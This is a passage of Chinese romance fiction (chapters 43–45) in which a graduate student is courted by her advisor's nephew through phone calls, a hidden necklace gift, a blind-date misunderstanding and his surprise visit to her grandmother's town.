裴知悯:“回校的时候遇见了一个二手书店,感觉挺投缘的,就买了。” 祁砚寒笑:“喜欢看这种故事?” 她其实很少看,只是偶然遇见从前投过稿的杂志,想买回来留个纪念。 裴知悯诚实道:“一般,主要是看插画。” 祁砚寒扬眉笑了:“难怪芷宜喜欢你,她也喜欢看这种杂志里的插画。” 裴知悯浅浅一笑。 车外下着雨,他们的聊天到此就终止了,一个普通的雨天,这样平淡有来有回的对话,怎么说呢?感觉很恍惚,却又刚刚好。 裴知悯余光瞥了他一眼,对比高中,他身上的张扬轻狂收敛了许多,多了一些成熟稳重,可是刚才那不算克制的行为又表明,他骨子里好像还是没变。 西门到宿舍走路要走大半个小时,开车五分钟不用就到了。 车平稳停住,裴知悯解开安全带下去,推门前的那一刻,祁砚寒拉住了她的手腕,她下意识转头,车里的光线很弱,那双眼睛却黑亮有神,慢声道:“关于我今晚说的话,你慢慢想,不用着急给答案。” 他的姿态诚挚又坚定,给足了她选择的余地,裴知悯含糊地应了一声,抱着书撑开伞进了宿舍楼。 雨声潺潺,落在树梢上有闷闷的轻响。 三楼楼梯的转角处,窗户半开,飘进来的凉风让她忍不住倒吸了一口凉气,视线往下一瞥,才看见楼下那辆开着双闪的车还没走,流畅的车型隐匿在黑夜里,昭示着主人还在沉思。 看了两秒,裴知悯踩上楼梯回宿舍,邓漪不在,她放下书,坐在椅子上翻开那本《春分秋分》看了几页,绘本的画风很法式,内容也很有意思,认真看的话肯定会感悟颇多,她却没看进多少。 这么晚了,也不知道他有没有回家? 多了十多分钟,邓漪回来了,带着一身冷气,她的衣摆和裤脚被淋了个透,一边抽出纸巾擦脸上的雨水,一边忍不住抱怨道“今天的雨真大啊”。 裴知悯在一旁给她递着纸巾,忽然问:“你回来时楼下还有车吗?” “车?”邓漪想了想,“没看到车啊?” 裴知悯笑:“哦,那可能是我看错了。” 邓漪不疑有他:“闻老师那里的文件收拾好了吗?” 裴知悯:“嗯。” 简单擦了擦,邓漪拿上睡衣去卫生间洗澡,路过阳台,瞧见那捧被雨打风吹的花,霎时一惊,往里知会裴知悯:“知悯,你的花被雨打湿了。” “啊!”裴知悯赶紧起身,走去阳台查看。 那天从繁华大街回来,那束花就被她以打入冷宫的形式放在了阳台上,这都好多天,她都快忘了,如今那束芍药花瓣零落,牛皮纸也沾了雨,湿哒哒的,裴知悯把花抱了进来,拿出吹风机把卷纸吹干,外婆说这种花很怕涝,要么不浇水,要淋水就要淋个透。 想起收到花的第二天,裴知悯打电话问外婆芍药要怎么养,许兰君见多识广,虽然没种过但还是知道一些,嘱咐完注意事项,她笑眯眯地问道:“有人给你送了芍药花?” 裴知悯此地无银三百两地说没有,是一个朋友收到的,外婆乐呵地笑了笑,什么都没说地挂了电话。 牛皮纸粘在一起了,不好吹,裴知悯把缠花的丝带解开,又拆开一层一层的外纸,这才看见插花的花泥上面,放着一个黑色的小长方盒子,她疑惑地打开一看,里面居然是一条银色的项链,细细的,链条镶着星星,最下面缀着一个月亮形状的吊坠。 裴知悯抿着嘴,慢慢笑了。 这个人,真的是。 那时已经晚上十点半了,祁砚寒刚回到家,他脱了外套上楼往房间走。 闻瑾早就到了,见他现在才回来,顺口问他吃饭了没,他说不用,还没饿,闻瑾叹息,嘀咕说真该找个人好好管管你。 祁砚寒笑,想着不是正在找呢。 “欸,”闻瑾说,“我有个长期客户的女儿,今年刚从国外留学回来,我看着……” 祁砚寒打断道:“妈,你别操心了,我自己有数。” 闻瑾瞪他:“你最好有数。” 祁砚寒勾唇一笑,边说“真的”边开了房间门,简单洗了个澡,祁砚寒出来一看,书桌上的那本杂志竟然不见了,他眉头一皱,在书架上找了一圈,依旧没见到影子,出去一问,才知道是方芷宜拿走了。 她坐在沙发上看得津津有味的,祁砚寒松了一口气,若无其事地去了阳台抽烟,窗外的雨小了许多,淅淅沥沥的,他忽地想起什么来,摸出手机给裴知悯打了个电话。 那时她刚躺在床上,手机放在枕头下,铃声有点闷,她摸起来一看来电人,瞬间坐直了,顿了一秒,按下接听键贴在耳边。 “睡了吗?”他的声音低沉。 透过声筒传来,让人耳尖发颤,裴知悯轻声道:“还没。” “刚才走的时候忘了问,”一口烟滚入肺里,他的嗓音微沉,“你这几天打算做什么?” 裴知悯不明所以地“啊”了一声。 “想问问你的计划,”祁砚寒轻轻一笑,温声道,“我追人总要拿出点态度来,你说是吧?” 裴知悯轻咬着唇。 没被人这么追求过,对象还是她曾经很喜欢的人。 裴知悯有点手足无措。 祁砚寒吸了一口烟,眼神落向远处阑珊的灯火。 “你先说说?” 裴知悯想了一下:“明天还会在学校处理点事,下午应该就回家了。” 祁砚寒:“那你忙完跟我说一声,我送你回去?” 裴知悯抿抿唇:“你不用上班的吗?” 祁砚寒拿下嘴边的烟,笑了:“怕我被扣工资?” 裴知悯捏紧了手下的被子,没吭声。 那头的雨声淅沥,有一声微小的汽笛声传了过来,紧接着她听见他说没事,这点时间还是能抽出来的,裴知悯默了半晌,才道:“好。” 祁砚寒“嗯”了声,说完“晚安”,让她先挂电话。 屋外的雨小了不少,但风却未曾减弱半分,刮得树枝倾倒。 一支烟抽完,祁砚寒走进客厅倒了杯水,见方芷宜一错不错地盯着自己,他以眼神询问。 “哥,”方芷宜往他那儿挪了点位置,挤眉弄眼道,“你在和谁打电话呀?” 祁砚寒不答反问:“你还不去睡觉?” 方芷宜才不被他的话绕进去,小声说:“你肯定是在和知悯姐姐打。” 上次她也是无意中看到的,她哥都抱知悯姐姐了!这两人肯定有情况。 祁砚寒眉头一挑。 这姑娘还挺机灵。 方芷宜冷不丁提起:“知悯姐姐也知道远山老师,我再看会儿怎么了?” 祁砚寒哼笑一声,视线投向她手里的书,又问:“她说的?” 方芷宜:“对啊。” 印象里,她画画好像也挺厉害,知道远山,好像也不奇怪。 风从窗子溜进来了两缕,吹得窗帘微荡,黑夜沉寂,祁砚寒目光悠远,不知道在想些什么。 这场雨下了整整一夜,直到隔日清晨,才堪堪停止。 裴知悯昨晚睡得不算太好,早上醒的很早,整理 了下东西就去和师兄师姐开会了,把课题做完总结,裴知悯就回寝室收拾起了行李,她没多少东西,三两下就收好了,祁砚寒的电话就是在这时候进来的。 “在做什么?”他问。 裴知悯喝了口水,如实说:“刚收好东西,在休息。” 祁砚寒笑了声:“你下来吧,我在楼下。” 裴知悯温温应了句“好”,拿上行李箱就要走,被邓漪拦住了去路,不怀好意道:“说说呗,谁来接你啊?” 裴知悯轻咳了声:“一个朋友。” 说完她就出门了,身后的邓漪在笑:“你可得把持住啊。” 日色灰白,隐隐有放晴的趋势。 裴知悯一下楼就看见了祁砚寒,他穿着一身黑色,安静地靠在车边,瞧见她出来,男人阔步过来拿走了那只行李箱。 正值中午,祁砚寒没先送她回家,而是带她去了南大周围的餐厅吃饭,店里暖气十足,他们相对而坐,吃了顿简单的午餐。 祁砚寒很照顾她的感受,又是端茶又是盛汤的,从他们身后路过的秦京宁看到这幅画面,震惊得都说不出话来。 原来他在追的人是她啊。 看了几秒,秦京宁无声离开。 一顿饭没花多长时间,吃完,裴知悯去了趟洗手间,刚进去就和补妆出来的秦京宁碰上了,她穿着短裙长靴,化着好看的妆,眉目间还是一如既往的明艳自信。 多年不见,两人简单寒暄了几句。 “我刚刚可是都看见了,祁砚寒对你挺照顾啊,”秦京宁笑着道,“他在追你吧?” 裴知悯难为情地笑了声,没有否认。 秦京宁“啧”了一声,一肚子坏水:“你要是不喜欢他的话,就多吊吊他,别” 裴知悯乐了,她还是他朋友吗?这么整他。 “要是喜欢的话——也千万别太快同意啊,可得好好治治他,”秦京宁说,“毕竟他脾气大,抽烟喝酒,打牌泡吧样样不落,还总是一张冷脸。” 这些话听着怎么这么耳熟? 裴知悯顿了半刻,一下想起来了,她不好意思地抿唇一笑。 秦京宁凑近来了点,悄声道:“不瞒你说,之前我年轻不懂事和他乱表白被拒了,你现在可要好好折磨他一下,让他也感受一下这种抓心挠肝的感觉。” 裴知悯猛地一怔,他们没在一起过? 秦京宁给了她个“听我的准没错”的眼神就离开了,走出转角,是一条不算长的连廊,祁砚寒站在尽头,一手插兜,明显的在等人,秦京宁走到他面前,笑着道:“在等裴知悯吗?” 祁砚寒倒是承认得利索:“嗯。” 秦京宁幸灾乐祸地一笑,意味深长道:“好好追人家,别太自信。”说完她就走了。 身后的祁砚寒眉头一凝。 外面放了晴,空气里的潮湿气味还没完全消退。 回家路上,裴知悯渐渐接受了那个事实,从懵然的状态里抽离出来。 车辆在停在红灯前,祁砚寒转头看她,忍不住问:“你刚才遇见秦京宁了?” 裴知悯点头。 “她说什么了?” 裴知悯思索了两秒,还是原封不动地把那些话说了。 祁砚寒咬了咬牙槽,真有她的啊。 第43章 第43章追女孩子,要真心诚意。 回到家,裴知悯就变成了闲人一个,一天就看看书画画稿子,日子过得平淡又舒适。 南方小年很快就到了,那个夜晚,苏英做了一桌子菜,一家人整整齐齐地围坐桌前吃着晚餐。 “后面不忙了吧?”苏英问道。 裴知悯摇头:“没什么事了。” “那就好,”苏英看她这两天都是清闲的,趁热打铁道,“上次跟你说的和我同事儿子见一面的事还记得吧?现在你有时间了,要不去看看?” 裴知悯装作不知道还有这事似的,只顾埋头吃饭。 苏英看她这表情一下就懂了,苦口婆心说去见一面又不算损失什么,念叨半天,裴知悯脸都要埋到碗里去了,悄悄给她爸递去信号,裴振会意,立马岔开话题:“你这个排骨汤是不是忘了放盐啊,没有味道。” 苏英被这么一打岔,重心就跑了,连忙去盛了一口汤尝味道。 裴知悯在桌底下给她爸比了个大拇指。 家人闲坐,灯火可亲。(注) 一顿饭吃到了七点,裴知悯溜回房间看起了绘本,过了半小时,电话响了,那时她看得正专心,摸过手机看都没看来电人就按了接听。 “喂?你好。”声音很淡。 祁砚寒轻声一笑:“我打来的不是时候?” 听见他的声音,裴知悯愣了一秒,才回道:“没有。” 他那头有点吵,她听到很多人的脚步和谈笑声,紧接着他的声音又传了进来。 “在做什么?” “看书。” 祁砚寒:“那天买的吗?” “对。” 祁砚寒绕过走廊,往隔出来的露台走,“很厚的那一本?” 这个应该挺好猜的,裴知悯不太惊讶地“嗯”了声。 彼时祁砚寒已经推开了露台的玻璃门,反手关上门,一下就隔绝了外边的吵闹声,那端安静了下来,裴知悯听到有凛风呼过的声响,她关上书放远,问道:“你在外面?” 祁砚寒靠在栏杆上,嗓音喑哑:“嗯,在和人谈事。” 这种饭局免不了喝酒,酒过三巡,他感觉闷出来透气,忽然想起今天是小年,想给她打个电话。 裴知悯咬唇:“那不然你先忙你的事吧?” 祁砚寒勾唇笑了,望向远处苍茫的夜色和闪烁的霓虹灯,吹着冷风醒酒。 “不碍事。” 裴知悯绷着唇没说话,声筒里忽地传来几声烟花爆炸声,她把手机拿远了一点,等到声响消失,她才问道:“刚才是在放烟花吗?” “嗯,”祁砚寒的嗓子有点哑,想抽烟一摸却发现没带打火机,作了罢,他将手臂撑在栏杆上,问她,“想看吗?” 裴知悯嘟囔:“不是已经放完了吗?怎么看?” 祁砚寒轻笑:“万一能呢。” 裴知悯不明白这是什么意思。 他好像喝醉了,和她说了些有的没的,中途有人来招呼了他一声“祁总,怎么不进去啊”,他说“马上来”。 裴知悯适时道:“我先挂了,你忙吧。” 祁砚寒制止:“再说两句。” “啊?”裴知悯一时不知道说什么,“我没什么要说的。” 祁砚寒舔了舔牙根,一时无言。 电话安静得只有电流声,良久的沉默中,裴知悯的房间响起了扣门声,裴知悯赶紧说了句“你挂吧”就把手机藏在了枕头下,又重新把书拿上,下一秒,苏英拧开门进来了,在她床头柜上放了盘水果。 “还看书呢?”苏英坐在她床边,旧事重提道,“真不想见见他?” 裴知悯撇了撇嘴,一脸的不情愿。 苏英劝道:“知悯,那个男生真的挺不错的,你去见一面就知道了。” 裴知悯把书盖在脸上,没吭声。 苏英还没死心,跟她讲着那个男生多么多么好,裴知悯看着书吃着水果当耳旁风。 那时候她并不知道,枕头下的那通电话并没有挂断。 后来好不容易送走她母亲,手机猛地震了下,是祁砚寒发来了刚才的烟花照,照片拍得很清晰,有几张烟花炸盛开的样子特别绚丽,裴知悯一张一张划过去,不自觉地笑了。 相亲事情她这边逃过了,却在第二天接到了喻书的电话,硬是把她扯上一起去见她的相亲对象,说等她十分钟,她应付完她们就去看电影。 他们约在了商场的咖啡厅里,裴知悯全程坐在旁边一声不吭,听着他们简单无聊的问话,中间喻书起身去回了个消息,留下他俩在这里面面相觑,只能尬笑着聊两句。 好巧不巧,这一幕被门外经过的 男人看见了,祁砚寒不动声色地看着她对面的男人,眼神复杂。 晚一点喻书回来,裴知悯赶紧找了个理由溜了,商场里云集景从,一片喧哗,她往一旁的楼梯口走,刚打开厚重的铁门,一阵冷风扑了过来,她微微侧头,和不远处的祁砚寒一瞬对上了视线。 他半靠在玻璃门,姿态松弛,脸上没什么表情。 祁砚寒抬腿缓缓走到她面前,朝那家咖啡店扬了扬下巴:“他就是你妈妈口中说的那个很不错的男生?” 他怎么知道这事? 裴知悯顿了下,反应过来:“你昨晚没挂电话?” 祁砚寒没否认,只是追问了一句:“你真是来相亲的?” “不是不是,”裴知悯连忙摆手,“是喻书在相亲,我只是给她来壮胆的。” “那你呢?”他紧盯着她,问道。 “嗯?” “相亲的事。” 裴知悯低头看着脚下锃亮的瓷砖,小声道:“那只是我妈的想法,我其实不太喜欢。” 祁砚寒脸色缓和了些,悠悠开口:“做事不是都讲究先来后到吗?” 裴知悯懵然地抬头看他。 祁砚寒勾起嘴角:“我先来不应该给我个机会?” 裴知悯沉默了下,歪头一笑:“要是你非要按时间来算的话,我妈一个月前就说了这事,她早于你。” 祁砚寒注视着她明亮里藏着狡诈的眼眸,低低笑了,他沉思片刻,而后道:“但是你先见到我,这是不是算我先来?” 裴知悯咬唇,缄口不言。 楼梯出口跑进来一丝冷风,吹冷了此刻的氛围。 祁砚寒注视着她白净顽固的小脸,轻轻笑了:“我不算先来的话也可以。” 裴知悯面露困惑神情。 “那咱们暂时就不谈先来后到了,”祁砚寒微微弯下了腰,直视着她,“还有一个词你应该听说过。” 裴知悯以眼神询问。 祁砚寒一字一顿:“叫做——后来者居上。” 裴知悯略微一愣,目光看向别处,几不可察地扬起了一抹笑。 这人,怎么说都是他占理。 祁砚寒站直身体:“等会去做什么?” 裴知悯:“去看电影。” 祁砚寒:“和喻书吗?” 她点了点头。 祁砚寒微微叹了口气,有一种无力感浮上心头,还以为能有机会和她待一阵,谁曾想人家早有计划,你连邀约都发不出去。 说曹操曹操到,裴知悯说完没半分钟喻书就打来了电话,她接起来说了句“马上回来”便挂断了。 他们分别后,祁砚寒从一旁的扶梯下去,裴知悯转身回咖啡店,彼时喻书已经走了过来,扫到了那个男人的背影,颇觉眼熟,思考了几秒,她不敢相信:“那个人是……祁砚寒?” 裴知悯点头:“嗯。” 喻书指了下远处的人,又指了指她:“你们俩这是……” 裴知悯避重就轻:“偶然遇见了,说了两句。” 喻书注视着她平静如水的脸,欲言又止。 当年还是因为她在微博上分享的一张手绘男生的侧脸照,她才知道她喜欢祁砚寒的事,只是那时候,裴知悯早已释怀了。 她再去问,已经没了意义。 就像此刻。 喻书收回视线,有点感慨:“偌大个商场,你们遇见真够巧的。” 裴知悯笑了,放出一记重磅炸弹:“他是闻老师的外甥。” 喻书瞬间瞪大了双眼,像是听到了天方夜谭:“你说什么?” “是真的,”裴知悯说,“我知道时也很吃惊。” 喻书轻叹一声,再巧也没用了,她不再谈论这个话题,往楼上的影厅走,电梯缓慢向上,裴知悯视线往下一瞥,楼下的那个男人已经走到了商场门口。 夜色降临,外面车水马龙,繁华一片,卖小吃的摊贩推着小车在街头叫卖,有归家的人买了一份拎着走向公交车站台,一道道汽笛声由远及近,由远及近,公交车先后来到,又先后离开。 走出商场,祁砚寒开车去找了章钦,那会儿他正在前台当着甩手掌柜玩手游,请他吃饭,这人二话没说就说可以。 一到地方,他才感觉被忽悠了。 谁家好人请人吃晚饭来夜市的烧烤店? 临近年关,街上热闹非常,红灯笼摆满了一条街,随风飘荡。 点了烤串,又要了几瓶酒,祁砚寒开了瓶的白的,倒了一杯出来,章钦环抱双臂:“你心情不好啊?吃烧烤喝白的?” 祁砚寒表情很淡,抿了一口就撂下杯子。 “你不是在追人吗?”章钦给他倒了杯啤酒,笑着推过去,“还有空来找我?” 祁砚寒没什么情绪地看了他一眼。 “不好追吗?”章钦笑。 他想起第一次见那姑娘,模样看着文静温软,其实有棱有角,一点不柔弱,这种女生,应该不太好追。 祁砚寒苦笑一声。 可不是吗? 加了联系方式,微信的聊天一眼就可以看尽,打电话拢共也没说几句。 章钦粗略算算时间,嗤笑道:“你这才几天,好好努力,那姑娘身边肯定不缺人追。” 祁砚寒赞同地笑了。 夜市人声鼎沸,正是灯红酒绿开始的时候。 “其实我有点好奇,”章钦喝了杯酒,“你怎么喜欢她了啊?” 祁砚寒懒懒地靠在椅子上,目光落向远处的桂花树,深思半晌,他忽然问他:“你相信缘分吗?” 章钦笑:“一般,我信奉的是,没有缘分就自己创造缘分。” 祁砚寒缓慢一笑,像无奈的妥协,亦或是该早点承认的,“我本来不太信,现在有点信了。” 他也说不清楚,他们之间总有一种很奇妙的磁场,就感觉,是命运把她推到了他面前,那年他和祁宏吵架被赶出家门遇见她是这样,多年后她成了闻霏的研究生,他们见面还是这样。 那个女孩子,心地柔软善良,有时候有点固执狡黠,刚才还呛了他一句呢,但那个样子,怎么说呢?特别鲜活有生气。 章钦被他一句有点哲理又没那么有哲理的话给弄不会了。 感情这事儿,千百年来的人都理不清,有人暗恋心思百转千回终究落了空,有人分分合合纠缠多年修成正果,到底怎么想的,只有当事人最清楚。 最后多少可以总归成一句:你失去后你后悔了吗? 那晚上他们喝到了十点,末了章钦给出了一句箴言:追女孩子,要真心诚意。 祁砚寒仰头将一杯酒一饮而尽,低喃着这句话,慢慢笑了。 第44章 第44章迟来的缘分 年前事情很多,祁砚寒不是在投行就是在去饭局的路上,闻瑾也挺忙的,经常外出谈事。 那天她要去繁华大街,祁砚寒刚好顺路,就送了她一程。 路上的车很多,刚走到繁华大街,就堵了起来,时间还早,闻瑾不着急,悠闲地看着热闹的街头,当年和祁宏离婚闹得不太愉快,以至于她对这伤心地也没了留恋,每次回来都是待个几天就走,很久没静下心来看看这座城市了。 前方车流微动,祁砚寒启动车辆,走过两条街,遇见一个漫长的红灯,他被迫又停了下来。 旁边的店好像在搞什么庆祝活动,周围围了很多人,声势浩大,闻瑾循声看了过去,想起来了什么:“新开了家书咖,前段时间就在宣传了,看样子今天应该是开业。” “书咖?”祁砚寒来了兴趣,投了个眼神过去。 绿灯亮起,排成长队的车辆陆续驶离。 送完闻瑾,祁砚寒开车去了郊外的山庄谈事,那个地方僻静安详 ,他们聊得很顺畅,事情快了时,那个老总有事出去了一趟,祁砚寒在椅子上坐了一会儿,给裴知悯打了个电话,铃声响了快一分钟都没人接,他只好按了挂断,紧接着对方就回来了,歉然道:“不好意思啊,家里老婆打来的,不能不接。” 祁砚寒笑:“理解。” 重新落座,中年男人自罚了一杯,话题不自觉地往外一扯:“祁总还没成家呢?” “还没有的。” “女朋友总有一个吧?” 祁砚寒淡淡一笑,想起刚刚未接通的电话,略显无奈道:“正在努力中。” 那个男人笑意爽朗:“可要抓紧了啊。” 祁砚寒微微笑了一声,颔首应下。 回到正题上后,他们没花多长时间就将事情谈妥了,谈完走出包厢,外头蓝天白云,一望无际。 狭长幽雅的小路上,祁砚寒一手摸烟盒,一手点开了手机,那时裴知悯正蹲在床边发愣呢,那通未接来电明晃晃地摆在手机屏幕中间,她自然看到了,却很纠结要不要拨回去,犹豫间,电话倏地响了,那串眼熟的数字跳了出来,裴知悯怔了下,坐在床边接听。 “繁华大街那里开了一家书咖,好像来了不少书,”祁砚寒吸了一口烟,徐步往外面走,缓声道,“你想不想去看看?想的话我等会去接你。” 裴知悯默了片刻,前些天苏英总在说去见那个相亲对象的事,为了躲开她的唠叨,她就提前回了栖梧,如今离南城几百公里,怎么去逛? “我不在市区,”裴知悯说,“我在栖梧。” 祁砚寒脚步一顿,拿下唇边的烟:“怎么突然回那儿了?” 裴知悯:“今年在外婆家过年。” 祁砚寒低头吸了一口烟,沉默了几秒问道:“什么时候回去的?” 裴知悯掰着手指算了下:“前天还是大前天吧,也有可能是大前天的上一天,我有点记不清了。” “都是读研的人了,”祁砚寒轻笑一声,“记性不好可怎么写论文。” 裴知悯绞着手指,赶紧为自己辩解道:“我只是记不清日子,不是记不得读书的事,做学术的人记性再差也差不到哪儿去好吧。” 山里寂静,时而有鸟鸣声,她的声音清脆俏皮,像是悠长又跳跃的音符,听得人心醉。 祁砚寒咬着烟,低低笑了声:“是,您说的有道理。” 裴知悯听着他低沉含糊的声音,抿着嘴有点不会了。 太阳出来了,有几缕洒进屋子里,房间温馨明亮,她躺在被子上感受阳光,把手机放在了旁边,墙外忽然响起几声猛烈的犬吠,她好像听见他问了一句“你什么时候回来?”,只是干扰声太大,剩下的话她没能听清。 “你刚才说什么?”裴知悯说,“我没听见。” 电话那端没有回音。 他应该在走路,她听见有落叶的脆响声,还有两声鸟叫,安静的等待中,楼下外婆在喊吃饭了,裴知悯坐起来扬声喊了句“诶,就来了”,又跟他说:“我要去吃饭了。” 祁砚寒走到小路尽头的垃圾桶边把烟掐灭了,声音含笑:“我晚点再打给你。” 匆匆挂了电话,裴知悯往楼下走。 今天天气不错,许兰君把饭菜端到了院子里,祖孙俩在院落里的橘子树下吃饭,阳光挂满红橘的枝头洒下来,光影斑驳。 外婆问:“听说你妈妈想给你介绍个男孩子?” 裴知悯嗯哼一声。 “怎么不去啊?”许兰君给她夹了一筷子青菜,“不喜欢这种形式还是不喜欢那个男生?” 裴知悯吃着饭菜,闭口不谈这个话题。 许兰君笑:“这么不喜欢啊?” 裴知悯歪了歪脑袋,故作不喜:“外婆,你是来给你女儿当说客的吗?” 许兰君笑眯眯道:“我关心关心我外孙女还不行?” 裴知悯扒了一口饭,放下筷子说:“我也说不上来,反正就不太喜欢。” 许兰君无奈笑了声,嗓音苍老:“也是你回了南城读书她才给你安排这个,你要是在青城念研究生或是工作,你看她给不给你介绍?她生怕你留在那边被人拐跑咯。” 话是这么说,但是她确实不喜欢相亲啊,谁来说都无济于事。 外婆吃了口菜,笑着叹息了下,想起很多年前,她画里的那个少年,不知道真实原因到底是哪个。 趁着天气好,又临近过年游客很多,外婆吃过午饭就去集市摆摊了,院子里的花开得很茂盛,裴知悯浇了一遍水,又把杂草拔了,才回了房间画稿,阳光暖和,轻轻柔柔地落在书桌上。 手机被她翻来又覆去,还是没有来电,转了十来圈,裴知悯干脆不去想了,关了手机放远,拿了平板出来画稿。 每次过年,栖梧都特别热闹,邻里邻居围在一起干活聊天,谈笑声不断,屋外有小孩子在玩摔炮,响声急促,裴知悯带上耳机听着轻音乐,新建了图层开始起形。 一沉浸在画画的世界里,时间便一晃而过,她根本没发现外头的天色暗了下来,直到屏幕上出现了几星雨点,裴知悯才发现天黑了,还下起了雨,她赶紧下楼拿上伞去接外婆,刚走到门边,门就从外面打开了。 许兰君拎着摆摊的东西站在门口,旁边是一个高大俊气的男人,抱着张原木桌子,他穿着衬衫和大衣,头上和肩头都沾了雨,一身的清朗稍有凌乱。 裴知悯瞬时愣在当场。 四目相对,祁砚寒的惊讶不比她少,只是他面上还保持着平静。 先前是因为看见这个老人感觉眼熟,想起来他从前在她这儿买过东西,看她抱着很多物件在赶路,他就搭了把手帮她搬桌子回家,没曾想这个老人是她家的。 “快进来快进来,”许兰君热情招呼道,“下着雨呢,进来坐会儿吧。” 祁砚寒一脸懵的被老太太拉着进了屋,裴知悯回神,关上门,把伞放在屋檐下走进客厅。 隔壁家的小孩子贪玩淋了一身雨,一回家就被阿婆给收拾了,一通操作后,哭喊声总算小了些。 许兰君给他倒了杯热茶,笑呵呵道:“今天谢谢你啊,小伙子。” 祁砚寒恭敬地接过水:“没事,举手之劳而已。” “噢,忘了介绍,”许兰君招手喊她过来,“这是我外孙女,裴知悯。” 祁砚寒看向她,眉梢微挑,嘴角带笑:“你好。” 或许是淋了雨,他整个人的气场收敛了许多,看起来居然有点狼狈。 裴知悯对于他的突然出现还没彻底缓过神来,嘴唇微张,哑着声音道了句:“你好。” 雨声不大,淅淅沥沥地落在院子里,壁炉的火滋滋作响,燃得正旺,衬得家里温暖又寂静。 许兰君敏锐地从他们这表情中察觉到了一点不对劲:“你们认识?” 祁砚寒不置可否,看向裴知悯。 裴知悯沉吟半晌,说:“嗯,他是我……朋友。” 许兰君微愣,没想到会这么巧。 “认识就好办了,小祁啊,那你再帮我个忙,”她指了指摆摊的那一堆东西,“把这些都搬到后院里去行吗?” 裴知悯几不可闻地吸了一口气,赶紧拉着老太太背过身去,低语道:“外婆,他是我导师的外甥,你对人客气点。” 许兰君微微吃了一惊,随即转过身换上了对待客人的神情:“小祁啊,你先别动了,我只是这么一说。” 祁砚寒不动声色地看了眼老太太旁边那个局促的女孩子。 “没事,”他说着就把那张桌子搬了起来,“您带路吧,我送过去。” 许兰君轻微顿了顿。 “那好吧,”她没再客气,对裴知悯说,“你去拿一条干净毛巾出来,小祁淋了雨,别等会感冒了。” 裴知悯迟钝地一应,慢吞吞地往卫生间走。 雨声不绝,墙外好像有猫咪跑过,窸窸窣窣的。 外边的客厅里,祁砚寒在和外婆说话,不知道他们在聊什么,裴知悯只听见了外婆的笑声。 后来把毛巾拿了出去,祁砚寒擦了擦身上的雨水,许兰君看了眼墙上的钟,提议道:“我看天色 不早了,小祁啊,你帮了我,又是知悯的朋友,不如留下来吃个晚饭吧。” 裴知悯听完一愣。 外婆,你要不要这么热情啊? 祁砚寒悄悄瞄了下裴知悯的神色,见她难为情不太自在,他客气道:“不用了,就是个小忙,您别放在心上。” 许兰君笑了一下,没有勉强。 喝完一盏茶,祁砚寒坐了会儿就打算离开了,彼时雨已经小了许多,裴知悯本来只送他到了门口,谁知外婆让她多送他一段路,礼数不能丢。 隆冬时节,又下着雨,街上只有三两行人,做生意的店铺开着灯,偶尔有几句你推我扯的砍价声,不知哪户人家在看《情深深雨濛濛》,电视开头曲慢慢响了起来,“啊情深深雨濛濛,世界只在你眼中,相逢不晚为何匆匆,山山水水几万重——”,温柔舒缓的歌声飘荡在宁静的夜空里,这夜色好像变得浪漫了几分。 路灯昏黄,照得潮湿的青石板上泛起了亮光,映着一高一低徐徐向前的人影。 祁砚寒撑着伞,裴知悯站在伞下和他并肩而走,走出这条街巷,她忍不住问:“你怎么来了?” 祁砚寒笑:“我说路过你信不信?” 裴知悯:“不太信。” 他目光平静,转头看向她,慢声道:“想来见你一面。” 傍晚六点有过的时刻,他的声音和这夜色一样,平缓温和,不急不躁,一览无余地闯进她的耳朵,晃动她的心神,裴知悯垂眸看着脚下的路,步子慢慢放慢了。 “不曾想是以这样的方式,”祁砚寒低头一笑,感觉真是奇妙。 五个小时前—— 祁砚寒走出山庄,眺望着远处岑静的山川和淡薄的云雾,反应过来他现在好像也不在市里,问了下工作人员这里离栖梧有多远,那人说不近不远,快的话开车两个小时就到了。 后来他一半冲动一半理智地开车过来了,惊喜地发现了一段不可思议的缘分。 “从前我在这里给芷宜买了一个企鹅小玩偶,”祁砚寒说,“你知道是从谁那儿买的吗?” 那天捡到挂件裴知悯就认出来了,此刻还是装作不知情的样子,配合他道:“是谁啊?” 祁砚寒:“你外婆。” 裴知悯恍然地“哦”了声,偏开头偷摸笑,她怎么会不知道呢。 祁砚寒短促一笑:“你还说她是黑心商家。” 裴知悯这时就不知道了,他原来听到了她说的话?! 小镇静寂,汽车引擎发动的声音响了一下,很快就消失在了黑夜里。 送走他,裴知悯踩着雨水回家。 家里灯火通明,厨房炖着汤,咕嘟咕嘟的冒着声响,许兰君坐在屋檐下的摇椅上,懒洋洋地喝茶。 先前她就感觉这个男生眼熟,得亏自己还耳聪目明,方才仔细想了一通就记起来了。 走进来收了伞,裴知悯顺势坐在了外婆身旁的小板凳上。 “他走了?”许兰君问。 裴知悯:“嗯。” “你之前的绘本上,最后一页画了一个男生,”许兰君没有拐弯抹角,悠悠问,“画的就是他吧?” 裴知悯惊讶,嗔道:“外婆!你怎么看我画本啊?” 许兰君放下杯子,望着深蓝色的夜空:“我可没有偷看,是你的画本被风吹掉了,我帮你捡起来时无意间看到的。” 裴知悯哑口无言。 祖孙俩靠在一起,静静地等着星星出现,屋外下着零星小雨,房梁上偶尔响起两声猫咪的叫声,一切都平稳安详,一阵风拂过院落,草木摇晃,有很轻很轻的沙沙声,她听见外婆问:“是他吗?” 裴知悯咬紧唇,不知道该不该承认。 第45章 第45章“我在等你的回答。” 这个问题好像别有深意,裴知悯始终没能给出回答,外婆似乎也不急着要她的答案,悠闲地听着雨品着茶。 房梁上的小猫沿着木椽爬了下来,在屋檐下踱着步子视察她们,走了几个来回,又没什么收获地跑远了。 裴知悯忽地问:“外婆,你说人的心思怎么百转千回的啊,怎么都绕不明白。” 许兰君:“人都这样。” 放下了这么久的人,再一遇见,她好像还是会为他心动,想起那天晚上他灼热深沉的眼,沉重的低喃,凛冽的气息,裴知悯有些心乱。 外婆给她倒了杯茶,话里有话:“想得太多不一定是好事,当然,也不一定是坏事,慢慢看吧,随心而行。” 老人家的话总是能轻易抚平内心的烦躁,裴知悯望着蓝黑色的天幕,笑着“嗯”了一声。 厨房里传来了一点水声,应该是锅里的汤沸腾了,外婆赶忙起身去了屋里忙活,她一个人坐在屋檐下看夜空,今晚的云层很厚,星星一直没有出来。 窗外雨声渐小,屋子里灯火温暖,吃过饭,裴知悯回到房间,躺在被子里和给喻书打了个电话,两个女生说说笑笑聊着天。 外面的雨好像停了,风也没了踪迹,万籁俱寂。 